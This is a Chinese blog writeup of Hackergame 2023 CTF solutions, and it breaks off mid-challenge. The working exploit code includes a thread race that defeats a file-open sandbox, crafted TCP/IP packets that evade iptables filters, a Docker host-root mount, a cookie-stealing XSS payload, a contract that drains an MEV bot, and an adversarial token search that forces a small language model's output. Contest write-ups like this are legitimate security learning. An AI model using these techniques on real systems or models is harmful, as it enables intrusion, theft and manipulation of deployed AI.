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前言

非常好的比赛!

本 Writeup 将同时发布于我的博客,可以去博客进行一个 IP+1(

Hackergame 启动

打开网页,随便念一段,发现匹配度大约 60%~70%,提交发现参数就在 url 中,改成 100 即可拿到 flag。

(之后查看网页源码,发现匹配算法是对每个位置直接做差,那这再怎么喊也达不到 99% 以上吧)

猫咪小测

第一题,想必层数不可能太高,可以直接从 0 开始枚举。

第二题,都放在次方上了,也不会太大,也可以从 0 开始枚举。

第三题,搜到一个 开 BBR 的教程,其中提到了答案,CONFIG_TCP_CONG_BBR

第四题,搜索 python mypy infinite loop paper,得到 这篇论文,其中便有会议名 ECOOP

更深更暗

根据题目提示,应该 flag 在网页最下面。但是按 End 键却无法直接到最下面。遂 Ctrl+A 复制全文,然后在最后就看到 flag 了。

旅行照片 3.0

这道题我卡了很久。

初次尝试

最开始我先注意到了第一张图中的奖牌,和第二张图中的拉面馆。

奖牌不难发现是 Masatoshi Koshiba 的诺贝尔奖奖牌。于是我按照题目,寻找东京大学的诺奖得主,然后找到了 Takaaki Kajita 应该符合要求,于是写了下面的脚本来爆破日期。

import base64, requests


def check_(x):
    return requests.post('http://202.38.93.111:12345/', headers={
        'cookie': 'xxx',
        'content-type': 'application/x-www-form-urlencoded; charset=UTF-8'
    }, data=x).text


def check(x):
    return check_(base64.b64encode(x.encode()).decode() + '.txt')


for i in range(6, 10):
    for j in range(1, 32):
        t = check('Answer1=2023-%d-%d&Answer2=ICRR' % (i, j))
        if t != 'File Not Found':
            print(i, j, t)

但是奇怪的是,我尝试了包括 ICRR IPMU 等研究所名字,发现全都不对。我又回去仔细阅读题面,难道题目要求的不是这人,比如有的诺贝尔奖奖牌款式不同,或者有的人没有出现在展厅里?我尝试了很久,发现一个都不对,暂时卡住了,于是开始看第二个线索。

这家拉面馆 らーめん 一信 在 Google Maps 中倒是很容易搜到。于是我就缩小了一点地图,然后在该区域内搜索博物馆。我的视野中出现了以下这些博物馆:

但是我把他们的卫星图和街景都看了个遍,也没发现任何长得像第三张图的地方。又卡住了。

接下来我只好再回到题面,查看是否还有被我遗漏的线索。查看发现,学长的胸牌挂绳上,写有 STARPHYS28。于是我很快找到 该会议的日程表。但是我左看右看,这日程排的满满当当,学长是如何有时间出来玩了一整天的?于是又陷入死胡同。

接下来我就只好跑去看别的题了。

再战第一题

(几小时后)

最后只剩这题,于是又回来看它。我重新过了一遍前面的推导流程,然后很快发现了问题:我的爆破脚本中,日期的格式不正确,应改为 2023-%02d-%02d。接下来很快便通过了第一题。

再战第二题

然后我又开始看这片区域的地图。这次我瞟了一眼左边的搜索结果,然后发现第一个怎么看起来这么高级:

然后一点过去,好家伙,原来也就在这旁边,但是中间隔着一大片湖,我就根本没往那看。

一看卫星图,门口的喷泉完全对上了。那么就是这了。

门口的水池叫做 上野恩賜公園 大噴水池

在推上搜索 上野公園 until:2023-08-11 since:2023-08-09,搜到了 全国梅酒まつり 这个活动,然后在 官网 上可以看到问卷编号:S495584522。

博物馆的网站 上可以看到票价可能是 1000 或 500,但我试了都不对,最后试了个 0,过了。

第三题

知道了日期,再结合之前看的会议日程表,可以在官网发现相关信息:https://statphys28.org/banquet.html

图中可以看出,集合地旁边的建筑是 Yasuda Auditorium,安田讲堂。

继续在推上搜索,ボタン&カフリンクス until:2023-08-11 since:2023-08-09,可以找到若干粉色海报,上面的动物是熊猫。

对于最后一个问题,我一开始想着,要不再爆破一个吧,然后就在网上找了几十种三字动物名,然后显然——失败了。

经过一番不懈的搜索,最后使用 上野 3D広告 作为关键词,搜索到了一篇新闻:渋谷駅と新宿駅にキュートで巨大な 3D 秋田犬&三毛猫が出現。虽然这和上野站根本不沾边,但是其中的秋田犬就是答案了。

赛博井字棋

尝试了几次之后,发现正常游戏是赢不了的。测试开两个窗口分别下同一个位置,发现可以覆盖。遂通过同样的方法覆盖对手的棋,即可战胜。

奶奶的睡前 flag 故事

在 PNG 结构的末尾后面能看到还有很多数据。根据最末尾的 IEND、中间的 IDAT,可以看出应该是截图完在原图上覆盖了。但是和前面的拼接起来并不能工作。

重新查看题面,发现 谷歌的『亲儿子』 这个提示,搜索可以得到 相关新闻 以及 还原工具。使用即可得到 flag。

组委会模拟器

尝试点击了几条消息,发现点击就能撤回。F12 看了下结构,于是决定写一个 js 来遍历 div。

setInterval(function () {
  document.querySelectorAll(".fakeqq-message__bubble").forEach(function (x) {
    if (/hack\[[a-z]+\]/.test(x.innerText)) x.click();
  });
}, 1000);

SSTV。

JSON ⊂ YAML?

两个 flag 都是完全胡乱试出来的。

Flag1:1e9

Flag2:{"a":1,"a":1}

Git? Git!

Git 撤销 commit 后,对应的历史还在 .git 中存储着。可以写一个脚本直接解包 .git/objects 中的内容。

import os, re, zlib
for x in os.listdir('.git/objects'):
    if len(x) != 2:
        continue
    for y in os.listdir('.git/objects/' + x):
        data = zlib.decompress(open('.git/objects/' + x + '/' + y, 'rb').read()).decode('utf-8', 'ignore')
        match = re.search('flag{.+}', data)
        if match:
            l, r = match.span()
            print(data[l:r])

HTTP 集邮册

我在做这题的过程中,主要参考了 nginx 的相关文档,对每个状态码搜索它可能出现的情况。

最后 12 种构造如下:

100
GET / HTTP/1.1\r\n
Host: example.com\r\n
Expect: 100-continue\r\n
\r\n

200
GET / HTTP/1.1\r\n
Host: example.com\r\n\r\n

206
GET / HTTP/1.1\r\n
Host: example.com\r\n
Range: bytes=100-200\r\n
\r\n

304
GET / HTTP/1.1\r\n
Host: example.com\r\n
If-None-Match: "64dbafc8-267"\r\n
\r\n

400
GET / HTTP/1.1\r\n\r\n

404
GET /1 HTTP/1.1\r\n
Host: example.com\r\n
\r\n

405
POST / HTTP/1.1\r\n
Host: example.com\r\n\r\n

412
GET / HTTP/1.1\r\n
Host: example.com\r\n
If-Unmodified-Since: Tue, 14 Aug 2023 17:03:04 GMT\r\n
\r\n

413
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 111111111\r\n
\r\n

414
HEAD /<many bytes> HTTP/1.1\r\n
Host: example.com\r\n
\r\n

416
GET / HTTP/1.1\r\n
Host: example.com\r\n
Range: bytes=1000-2000\r\n
\r\n

505
GET / HTTP/2\r\n
Host: example.com\r\n
\r\n

但是第二个 flag 倒花了我更多的时间。我尝试了 h2c、https 等多种操作,但是都不行。最后仔细阅读 HTTP 的 wiki,发现还有个 HTTP 0.9。遂使用这个协议得到了第二个 flag。

(这下理解为什么 nginx 经常提示 HTTP 0.9 not allowed 了)

Docker for Everyone

Docker daemon 显然可以读所有东西,于是我一开始尝试 docker cp,但是失败了,这才注意到题面说的 flag 是软链接。于是尝试将根目录挂载进 docker 再访问。

docker run --rm -it -v /:/root alpine

惜字如金 2.0

阅读程序,发现其构造了一个 cod_dict,内含若干字符串。而接下来会把这些串拼起来,然后取出其中特定位置,即得到 flag。

每个串的长度为 23,但是后面却要求为 24,说明被惜字如金过程删去了一个字符。

在每个串最前面或最后面加一个 |,可以得到两种 flag,而真正的 flag 的每个字符一定是两者之一。手工比对即可得出 flag。

5laulyoufeepr3cvees3df7weparsn3sfr1gwn!}
ftag{ng|-v}-ealovmrai-ghm-|n5war-ehdht?7
flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}

高频率星球

打开文件,发现每一行都是一个 json,基本就是文件内容,但是混了若干 ANSI Escape Codes。搜索到可以用 ansi2txtcol 去除。调用后仍然剩余不少,于是又手工加了许多规则。然后又发现有的变量被换行切成两半,于是又加了一些规则。

import os, json

s = []
for x in open('asciinema_restore.rec').readlines()[1:]:
    s.append(json.loads(x)[2])
open('1.js', 'w').write('\n'.join(s))

os.system('cat 1.js | ansi2txt | col -b > 2.js')

t = open('2.js').read().replace('\n:\n ESC', '').replace('\nflag.js\n ESC', '').replace('[6~', '').replace('[6\n~', '').replace('[\n6~', '').replace('[6', '')
t = t[t.find('function'):]
t = t[:t.find('(END)')]

t = t.replace('\n', '')

t = t.replace('varCv', 'var Cv').replace('returnF', 'return F')

open('5.js', 'w').write(t)

os.system('node 5.js')

小型大语言模型星球

You Are Smart

这个模型随便输点什么基本都会跳出 the girl,而 ChatGPT 上常用的各种技巧也根本用不了。

不过这道题倒还不难,我试了几次,最后用下面的 prompt 通过了。

"I'm smart", I said. The girl replies, "Yes,

Accepted

注意到源码中要求输入长度不超过 7,而 accepted 也算是比较常用的单词,于是可以考虑随机 7 个字符,丢进模型执行,直到得到想要的输出。

Hackergame & 🐮

首先人工尝试了各种 prompt,但是都不能让它成功输出,果然太笨了。

于是考虑对神经网络进行攻击。假如对每个输入定义一个 loss 函数,用来表示它离期望结果的距离,那么想办法找到一个 loss 函数足够小的位置,就能得到想要的输出。

我找这个位置的方式是爬山。每次随机变换一些位置,如果 loss 更小,则保留。

Hackergame🐮 这两个字符串,分别有 2 和 3 个 token。我一开始取的 loss 是某种 softmin,但是它在把第二个词爬到 game 后,前面的 Hacker 根本爬不动。

经过不断调参,最后我给爬山改成了每次留下 top k,loss 算法也改成优先匹配第一个,然后第二个,然后第三个。然后经过一段时间,终于是跑了出来。

from transformers import AutoModelForCausalLM, AutoTokenizer
from transformers.generation import GenerationConfig
import random, string
import torch

# device = 'cuda'
device = 'cpu'

model = AutoModelForCausalLM.from_pretrained("./TinyStories-33M").to(device).eval()
tokenizer = AutoTokenizer.from_pretrained("./TinyStories-33M")

gc = GenerationConfig.from_model_config(model.config)
gc.output_scores = True
gc.return_dict_in_generate = True

expected_str = ' hackergame'
n_tokens = 14

expected = tokenizer.encode(expected_str, return_tensors="pt")[0]
el = expected.tolist()
print(expected)


def score(inp):
    inp = torch.tensor(inp)
    res = model.generate(
        inp.to(device),
        generation_config=gc,
        max_new_tokens=expected.shape[0],
        num_beams=1,
        pad_token_id=tokenizer.eos_token_id,
    )
    if len(res.scores) < expected.shape[0]:
        return 0, 0, 0, -1e9
    rtl = []
    for i in range(expected.shape[0]):
        x = res.scores[i][:, expected[i]].exp()
        y = res.scores[i].exp().sum(1)
        rtl.append(x / y)
        # print(rtl[-1])
    rt = torch.concat(rtl).reshape((expected.shape[0], inp.shape[0]))
    ok_score = 0.3
    score = rt.sum(0) - len(expected) * ok_score
    for i in range(len(expected) - 1, -1, -1):
        score = rt[i] + (rt[i] >= ok_score) * (ok_score - rt[i] + score)
    idx = torch.topk(score, cursize).indices.to('cpu')
    t = res.sequences[:, inp.shape[1]:].to('cpu')
    o = [tokenizer.decode(t[i], skip_special_tokens=True)for i in range(inp.shape[0])]
    for j in range(len(o)):
        if expected_str in o[j]:
            print(inp[j])
            exit()
    i = score.argmax(0)
    return (
        inp[idx],
        o[i],
        rt[:, i].to('cpu'),
        score[i].to('cpu'),
    )


cursize = 57
extsize = 57
charset = string.printable


def safe_rnd():
    while True:
        t = random.randint(0, 50255)
        if t not in el:
            return t


cur = torch.tensor([[random.randint(0, 50255) for _ in range(n_tokens)]for _ in range(cursize)])
while True:
    s = set()
    for i in range(len(cur)):
        cc = cur[i].tolist()
        s.add(tuple(cc))
        for _ in range(extsize):
            nxt = cc[:]
            if random.random() < 0.1:
                pos = random.randint(0, len(nxt) - len(el))
                nxt = nxt[:pos] + el + nxt[pos + len(el):]
            while True:
                t = random.randint(0, len(nxt) - 1)
                if nxt[t] in el:
                    k = 0
                    while el[k] != nxt[t]:
                        k += 1
                    for j in range(len(el)):
                        nxt[t - k + j] = safe_rnd()
                else:
                    nxt[t] = safe_rnd()
                if random.random() < 0.73:
                    break
            s.add(tuple(nxt))
    cur, ns, nsi, nxtscore = score(list(s))
    print('batch', cur[0].tolist(), ns, nsi, nxtscore)

流式星球

用 numpy 实验一下,可以发现,文件里逐帧依次存储了每个像素,而删除的只是最后一丁点。

大胆猜测一个高宽,可以看出若干类似这样的条纹,而每个条纹到下一个相同条纹之间的像素数,就是真正的宽度了。

而高度也可以类似猜出(其实不用猜也行?),然后就能还原出若干帧,然后盯帧出 flag 了。

import numpy as np
from PIL import Image

s = np.fromfile('video.bin', np.uint8)
print(s.shape)
print(s[:100])

width = 427
height = 759

n = width * height * 3
pad = (s.shape[0] + n - 1) // n * n - s.shape[0]
s = np.concatenate([s, np.zeros(pad, np.uint8)])

s = s.reshape((-1, height, width, 3))
print(s.shape)
for i in range(s.shape[0]):
    im = Image.fromarray(s[i])
    im.save('res/%d.png' % i)

低带宽星球

第一问随便啥都能过,接下来只考虑第二问。

整体思路

在整个做题过程中,我一共产生了三种不同的思路,分别是:

  • 正常压缩。

  • 找到漏洞使得 libvips 崩溃或 RCE,然后输出 OK 或直接偷取 flag。

  • 想办法绕过比较。

正常压缩

由于我对 png 本身比较熟悉,于是我就直接下结论,认为 png 不可能通过,那么就得找别的格式了。

别的格式里面,我在 webp 上下了不少功夫。原本计划手搓一个编码器,来最小化长度。看了半天文档,又对着 libwebp 加输出调试,但是最后还是发现,webp 也基本不可能通过该题。

除此之外,通过翻看 libvips 支持的文件列表,我还发现 svg 这个格式。svg 表示大片的区域时,可以使用一个 <rect>,听上去倒是正适合这个场景。但是我构造的 svg,即使通过 gz 压缩,也远不止 50b 了。

崩溃 or RCE

搜索 libvips rce,倒还真找到一个 CVE-2023-40032。看 Debian 里面的版本,倒是很有可能会受该漏洞影响。但是尝试复现该漏洞时,我发现需要构造非法的 UTF-8 串,而这至少在最新的 glib 里是不可能的。于是这条路,失败了。

然后我又想到,前不久刚出的 webp rce,说不定能用?但是下载了一个测试 webp,无效。原来是 libwebp 足够新,给修了。

绕过比较

我看到这个代码,就在想一个问题:img1 和 img2 里面都是 uint8,如果他们相减后还是 uint8,那只需要 img2 全是 255,就能得到全 0 了。

于是我运行程序测试,发现 img1 - img2 的类型竟然是 int16。

既然它支持 int16,那么很可能也支持其他一些数据类型,比如 float,而 float 里面有一个 nan,这个 nan 会如何参与 abs 和 max 的计算呢?

于是我做了一个实验,通过 acos 等函数得到一个 nan,然后一测,发现全部被跳过了。而 一条 issue 也印证了这一点。

那么有没有图像格式可以支持 nan 呢?

我一开始试着用 libvips 直接编码,发现像 pfm 这样的格式是支持的。经过多次尝试,我得到了下面这个 exp,可以生成一个 pfm,并通过检测:

import pyvips
import struct
import math
import gzip

b = b'PF\n'
b += b'1024 1024\n'
b += b'-1\n'
n = 1024 * 1024 * 3
b += struct.pack('<f', 197 / 65535) # 改成你的图片中 (1023,0) 位置的 R 值
b += struct.pack('<f', math.nan) * (n - 1)

print(len(b))
open('1.pfm', 'wb').write(b)

但是 pfm 不支持压缩,tiff 这种格式倒是能压缩,但文件头都超长了。

我卡了几个小时之后,决定再次研究哪些格式支持 float。

在 libvips 源码的 libvips/libvips/foreign 目录里,运行 grep VIPS_FORMAT_FLOAT,可以看到有哪些格式可在加载时设为 float 类型。

然后我在里面看到了 jpegxl,于是决定试试。(但是之前用 libvips 保存图片的时候,并没有成功保存为 float)

下载好 jpegxl 编码器,运行 tools/cjxl in.pfm out.jxl -d 0 -e 9,发现确实压的挺小,但是还是大于 50b。

本想找 jpegxl 的 spec 看看,但是要付费,于是暂且算了,再折腾了一下编码参数。

仔细观察 tools/cjxl --help -v -v -v -v 的输出,发现原来还能 -e 10

运行 tools/cjxl in.pfm out.jxl -d 0 -e 10 --brotli_effort=11 --allow_expert_options -g 3,跑了 20 分钟出来了。

然后把文件头去掉,只留 code stream,就只剩 46 字节了。

但是,尝试用 libvips 读取,却发现大部分像素不再是 nan,而是一个奇怪的 2.7670116110564327e+19。不过这个数和 nan 其实只差了一个 bit,于是我在文件里随机改 bit 观察结果,很快定位到了这个 bit,然后就通过了。

Komm, süsser Flagge

我的 POST

不能出现完整的 POST,那就拆成两部分发过去。

import socket
import time

token = 'xxx'

payload = '''POST / HTTP/1.1
Host: 202.38.93.111:18080
Accept: */*
User-Agent: curl
Content-Length: %d
Content-Type: application/x-www-form-urlencoded

%s''' % (len(token), token)

payload = payload.replace('\n', '\r\n').encode()

s = socket.socket()
s.connect(('202.38.93.111', 18080))
s.send(payload[:2])
time.sleep(1)
s.send(payload[2:])
print(s.recv(1024))

我的 P

主要参考了这一篇来理解:简单的益智类小游戏: iptables u32 过滤器,强大且好玩

然后发现,这就是在尝试判断 TCP 内容的第一个字符,要求它不能是 P

但是 @ 12 >> 26 这一步,取到的不止有 data offset,还有 reserved。如果修改 reserved 让他偏移,就能绕过限制了。

实现上,我虽然知道各种语言都支持 raw socket,但是手动计算 checksum 之类的还挺烦的。最后一通搜索,发现有 scapy 这个库可以方便的构造包。

然后又是一通搜索、调试,然后发现莫名其妙被 RST,结果是本机对远端发来的 SYNACK 包 RST 了。总之又是通过 iptables 让系统不要插手。

from scapy.all import *

sport = random.randint(1024, 65535)
init_seq = random.randint(0, 2**32 - 1)

token = 'xxx'

payload = '''POST / HTTP/1.1
Host: 202.38.93.111:18080
Accept: */*
User-Agent: curl
Content-Length: %d
Content-Type: application/x-www-form-urlencoded

%s''' % (len(token), token)

src = '192.168.24.2'
dst = '192.168.23.1'
dport = 18081
iface = 'hgovpn-guest'

# SYN
ip = IP(src=src, dst=dst)
SYN = TCP(sport=sport, dport=dport, flags='S', seq=init_seq, reserved=4)
pkt = ip / SYN
print('send', pkt)
print('raw', bytes(pkt))
SYNACK = sr1(pkt, iface=iface)
print('recv', SYNACK)
print(SYNACK.ack, SYNACK.seq)
print('=' * 100)

# SYN-ACK
ACK = TCP(sport=sport, dport=dport, flags='AP', seq=SYNACK.ack, ack=SYNACK.seq + 1, reserved=4)
data = Raw(load=payload)
pkt = ip / ACK / data
print('send', pkt)
print('raw', bytes(pkt))
resp = sr1(pkt, iface=iface)
print('recv', resp)
print(resp.ack, resp.seq)
print(bytes(resp))
print('=' * 100)

ACK = TCP(sport=sport, dport=dport, flags='A', seq=resp.ack, ack=resp.seq + 1, reserved=4)
pkt = ip / ACK
print('send', pkt)
resp2 = sr1(pkt, iface=iface)
print('recv', resp2)
print(resp2.ack, resp2.seq)
print(bytes(resp2))
print('###', resp2[TCP].payload)
print('=' * 100)

我的 GET

规则要求包的前 50 字节必须出现 GET / HTTP。但是 TCP 的握手想要包含数据还挺麻烦的。

查看 IP 头的结构,发现后面可以加 options。一番学习总算构造出了合法的包。

from scapy.all import *

sport = random.randint(1024, 65535)
init_seq = random.randint(0, 2**32 - 1)

token = 'xxx'

payload = '''POST / HTTP/1.1
Host: 202.38.93.111:18080
Accept: */*
User-Agent: curl
Content-Length: %d
Content-Type: application/x-www-form-urlencoded

%s''' % (len(token), token)

src = '192.168.24.2'
dst = '192.168.23.1'
dport = 18082
iface = 'hgovpn-guest'

opt = bytes([0x21, 14]) + b'\0' * 2 + b'GET / HTTP' + b'\0' * 2

# SYN
ip = IP(src=src, dst=dst, options=opt)
SYN = TCP(sport=sport, dport=dport, flags='S', seq=init_seq)
pkt = ip / SYN
print('send', pkt)
print('raw', bytes(pkt))
SYNACK = sr1(pkt, iface=iface)
print('recv', SYNACK)
print(SYNACK.ack, SYNACK.seq)
print('=' * 100)

# SYN-ACK
ACK = TCP(sport=sport, dport=dport, flags='AP', seq=SYNACK.ack, ack=SYNACK.seq + 1)
data = Raw(load=payload)
pkt = ip / ACK / data
print('send', pkt)
print('raw', bytes(pkt))
resp = sr1(pkt, iface=iface)
print('recv', resp)
print(resp.ack, resp.seq)
print(bytes(resp))
print('=' * 100)

ACK = TCP(sport=sport, dport=dport, flags='A', seq=resp.ack, ack=resp.seq + 1)
pkt = ip / ACK
print('send', pkt)
resp2 = sr1(pkt, iface=iface)
print('recv', resp2)
print(resp2.ack, resp2.seq)
print(bytes(resp2))
print('###', resp2[TCP].payload)
print('=' * 100)

为什么要打开 /flag 😡

第一问,静态编译即可绕过限制。

第二问,阅读程序逻辑,可发现他截获了 open 操作的文件名参数,然后对其进行判断,如果含 flag,则返回假 flag,否则继续正常的系统调用。

假如某次调用中,沙箱得到的文件名不含 flag,但是内核得到的是 /flag,那么就能绕过限制。

注意到 clone 系统调用是允许的,那么可以开一个线程,不停修改 flag,然后上述情况则有可能发生。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define _SCHED_H 1
#define __USE_GNU 1
#include <bits/sched.h>

char fn[100];

int work(void*) {
    for (int i = 0; i < 100000000; i++) {
        fn[1] = 'a';
        fn[1] = 'f';
    }
}

int main() {
    void *child_stack = malloc(4096);
    clone(&work, child_stack+4096, CLONE_SIGHAND|CLONE_FS|CLONE_VM|CLONE_FILES|CLONE_THREAD, NULL);
    memcpy(fn, "/flag", 6);
    char buf[100];
    for (int i = 0; i < 100000; i++) {
        FILE *f = fopen(fn, "r");
        if (f) {
            int n = fread(buf, 1, 100, f);
            if (buf[0] == 'f') fwrite(buf, 1, n, stdout);
            fclose(f);
        }
    }
}

异星歧途

不难看出,按钮分为四组。查看逻辑可以发现,每组基本独立。

第一组

在逻辑中,每个按钮的取值都直接给出了。需要注意的是,这里给出的是,每个按钮如果是这个状态,就不让启动发动机了,所以还需要取反。

第二组

8 个按钮先被转为了一个 8 bit 的数。

然后会检查这个数是不是平方数:(我最开始一直以为那个是异或,然后就发现符合条件的情况不止一种)

最后还会检查两个 bit,这就可以唯一确定答案了:

第三组

这组大部分逻辑都是开某个机器,但是有一些逻辑比较坑,开了就爆炸。总之只能多试试得出答案了。

第四组

每个按钮控制着一个机器,而他们在后面组成了类似逻辑门的结构。可以倒推+多试试。

微积分计算小练习 2.0

看到这题的时候,我对于 BOT 用 "BOT_SECRET" 以「管理员权限」登录,然后降权到和你一样 这句话不太理解。

我以为 Bot 是一个单独的环境,只是类似于我。这种情况下,我打算先想办法在网页中提交代码到评论,然后代码对 flag 进行处理后,想办法再次调用网页,网页再将结果以某种方式送出(即,盲注)。

我甚至实验发现,location='http://1.2.3.4' 这样的代码,可以让 Bot 的响应时间变长,于是可以用来盲注。

但是对于第一步,始终没能成功绕过 CSRF 来提交评论。

于是我重新审视 Bot 里的那句话,这次正确的理解为,Bot 和我可以通过评论交互。

那么只需要想一个办法,在 25 字节内执行任意代码。

我开始时在想办法调用 eval,通过搜索 js call function without parentheses,虽然找到了若干种方式,但都没法用来调用 eval

不过里面有提到,可以用 locationjavascript: 协议来执行代码。忘了后来又在哪看到 location=name 这样的东西,总之是拼出了 "+[location=name]+"

而 html 如下:

<script>
  window.name =
    "javascript:document.querySelector('textarea').value=document.cookie.replace(/%/g,'#').substring(50,75);document.querySelector('button').click()";
  location.href = "http://web/result";
</script>

非常坑的一点是,flag 里面有一个空格变成了加号。

逆向工程不需要 F5

看到题目给出了一个 exe 和一堆 dll,那么这应该是一个经典的逆向题。

虽然题目写着 F5 也看不懂,但姑且还是先用 F5 看看。

只能说确实看着问题很大。

这些 HACKERGAME 都是从 dll 中引入的,于是动态调试便能直接点进去看。

但是还有一个问题,按图中的逻辑,它似乎总是会输出 flag 不正确,那么这是怎么回事呢?找一个函数调用,查看汇编,可以发现:

这根本不是标准的调用约定,那么 IDA 无法正常识别也情有可原。

IDA 当然也有办法支持这样的调用约定,可以把每个参数的寄存器都写出来,格式如下:

__int64 __usercall func@<r10>(char *a1@<r10>, __int64 a2@<r14>, char **a3@<rbx>)

经过一番手动设置,IDA 便能正常反编译程序逻辑了:

而据此写一个还原脚本,即可通过本题:

s = b'\x7f\xe2\xdaJ\x8e\xdc\xb2\xdb\xe3\xc3r\xef\xd1\x94\xc4S\xaf\xab\x01\xaf\xd2-^\x98\xaa\xa1c\x02\x87\\\xca\xf2'

s2 = []
for x in s:
    for i in range(4):
        x = x * pow(33 ^ (i * 2), -1, 256) % 256
    s2.append(x)
s = bytes(s2)

s2 = b''
for i in range(16):
    t = int.from_bytes(s[i * 2:i * 2 + 2], 'little')
    s2 += (t ^ 52716).to_bytes(2, 'little')
s = s2

s2 = b''
for i in range(8):
    t = int.from_bytes(s[i * 4:i * 4 + 4], 'little')
    for j in range(4):
        t = t * pow(3735928559 ^ (j * 4), -1, 2**32) % 2**32
    s2 += t.to_bytes(4, 'little')
s = s2

s2 = b''
for i in range(4):
    t = int.from_bytes(s[i * 8:i * 8 + 8], 'little')
    s2 += (t ^ 0x7A026655FD263677).to_bytes(8, 'little')
s = s2

s2 = b''
for i in range(2):
    t = int.from_bytes(s[i * 16:i * 16 + 16], 'little')
    for j in range(4):
        t = t * pow(1437204735 ^ (j * 16), -1, 2**128) % 2**128
    s2 += t.to_bytes(16, 'little')
s = s2

print(s)

O(1) 用户登录系统

阅读源码,可以发现这个程序有两个功能:

  1. 导入用户名密码的列表,然后计算 merkle tree。
  2. 给出一对用户名和密码,以及对应的 merkle tree 上的链,尝试登录。登录时会比较这条链算出的 root hash 与前面算的是否相同。

目标是使用 admin 用户登录,但是在导入用户时,却不能有 admin 这个用户。那么需要想办法造出一个来。

考虑登录时每次 hash 都算了什么,下面是一种可能的情况:

hash_0 = sha1(user + ':' + password)
hash_1 = sha1(hash_0 + some_other_hash_0)
hash_2 = sha1(some_other_hash_1 + hash_1)
hash_3 = sha1(some_other_hash_2 + hash_2)
assert hash_3 == root_hash

可以发现,喂给 sha1 的 payload,有两种可能,一种是 user:password,另一种是两个 hash 值连起来。

假如,两个 hash 值连起来时,刚好可以作为一个 user:password 的数据来解析,那么这条 hash 链就能让这位用户也成功登录。

回到题目,有两种可能的做法:

  1. 让上面 hash_0 的 payload 为 admin,想办法使得 hash_1 的 payload 为可登录的用户。
  2. hash_1 的 payload 为可登录的 admin。

sha1 基本只能暴力枚举,于是做法 2 需要的枚举量显然远大于做法 1。

做法 1 中,我们需要找到一个 hash_0 + some_other_hash_0,使其能被解析为 user:password 的格式,然后将他导入到用户列表中。随后在链上加入一个 some_other_hash_0,即可登录。可以发现,some_other_hash_0 甚至不需要是个 hash,可以随便填 20 字节进去。

于是我决定钦定它为 b'\0' * 20,然后找满足要求的 hash_0

from hashlib import sha1

a = 'admin:'.encode()
i = 0
while True:
    s = a + str(i).encode()
    x = sha1(s).digest()
    try:
        v = x.decode('ascii')
        if ':' in v:
            print(i, s, x, v)
    except:
        pass
    i += 1

最后是交互脚本:

from hashlib import sha1
from pwn import *

context.log_level = 'debug'

c = b'admin:30310698'
a = sha1(c).digest()
print(b'\n' in a)
print(b'\r' in a)
print(b':' in a)
print(a == a.strip())
b = b'\0' * 20
print(b == b.strip())
print(b < a)

r = remote('202.38.93.111', 10094)
# r = process(['python', 'o1login.py'])
r.sendlineafter(b'Please input your token: ', b'xxx')
r.sendlineafter(b'Choice: ', b'1')
r.sendlineafter(b'> ', b + a)
r.sendlineafter(b'> ', b'x:x')
r.sendlineafter(b'> ', b'EOF')
r.recvuntil(b'Login credentials:\n')
cred = r.recvline().strip()
print(b + a)
cred = cred.replace(b + a + b':', c + b':' + b.hex().encode())
print(cred)
r.sendlineafter(b'Choice: ', b'2')
r.sendlineafter(b'Login credential: ', cred)
r.interactive()

链上猎手

阅读源码,可以发现题目大致如下:

  • 会部署一种 token,两个 Uniswap V2 factory,以及该 token 和 WETH 的 pair。
  • 有一个 MEV Bot,三道题会有不同的版本。
  • MEV Bot 在每次出块后,会遍历 Uniswap 中所有 pair。假如两个 Uniswap 中都存在 WETH 到某 token 的 pair,则试图从这两个 pair 中套利。
  • MEV Bot 在初始时会进行一次套利测试。
  • 目标是清空 MEV Bot 的余额。
  • 三道题目初始环境都是固定的,于是所有合约的地址都相同。

The Maximal Extractable Value

阅读 bot1.sol,发现该函数没有限制发送者:

function uniswapV2Call(address sender, uint, uint, bytes calldata data) external {
    require(IUniswapV2Pair(msg.sender).factory() == FACTORY1 || IUniswapV2Pair(msg.sender).factory() == FACTORY2);
    require(sender == address(this));
    (IUniswapV2Pair pair1, IUniswapV2Pair pair2, uint amount1, uint amount2, bool dir) = abi.decode(data, (IUniswapV2Pair, IUniswapV2Pair, uint, uint, bool));
    require(WETH.transfer(address(pair1), amount1));
    pair1.swap(dir ? amount2 : 0, dir ? 0 : amount2, address(pair2), '');
}

第二个 require 需要的东西在参数里面,可以直接绕过。

对于第一个 require,可以构造一个假的 Uniswap pair,使得 factory() 总是返回 FACTORY1。用它来调用该函数,就能让 Bot 往任意地方转账了。

pragma solidity =0.8.10;

interface Bot {
    function uniswapV2Call(address sender, uint, uint, bytes calldata data) external;
}

interface IUniswapV2Pair {
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function factory() external view returns (address);
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

interface IWETH is IERC20 {
    function withdraw(uint256) external;
    function deposit() external payable;
}

contract FakePair {
    function factory() external pure returns (address) {
        return 0x164e31a6Ac83D5EDaE2139Add30099485D15d138;
    }
    function solve(Bot bot) external {
        uint balance = IERC20(0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7).balanceOf(address(bot));
        bot.uniswapV2Call(address(bot), 0, 0, abi.encode(address(this), address(0), balance, uint(0), true));
    }
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external {
    }
}

contract Solver {
    constructor() {
        FakePair f = new FakePair();
        f.solve(Bot(0x607D86B806E7b2993438E82af2236C786a0Ff780));
    }
}

拿到合约后,可以用下面的代码签名:

from web3 import Web3

w3 = Web3()
pk = '11451411' * 8
acc = w3.eth.account.from_key(pk)
print(acc.address)

tx = {
    'from': acc.address,
    'nonce': 1,
    'gas': 10000000,
    'gasPrice': 10**10,
    'data': '0x' + open('code_1.txt').read(),
    'chainId': 2023,
}
signed = w3.eth.account.sign_transaction(tx, pk)
print(signed.rawTransaction.hex())

The Dark Forest

本题和上一题相比,所有函数都加上了对 msg.sendermsg.origin 的限制。于是不再能直接调用 MEV Bot。

Bot 的 Python 代码中,会先对套利交易进行模拟,如果模拟通过再发送:

bot.functions.simulate(pair1_address, pair2_address, amount1, amount2, amount3, direction).call(
    {'nonce': nonce, 'from': acct.address, 'gas': 10 ** 6, 'gasPrice': 10 ** 11}
)
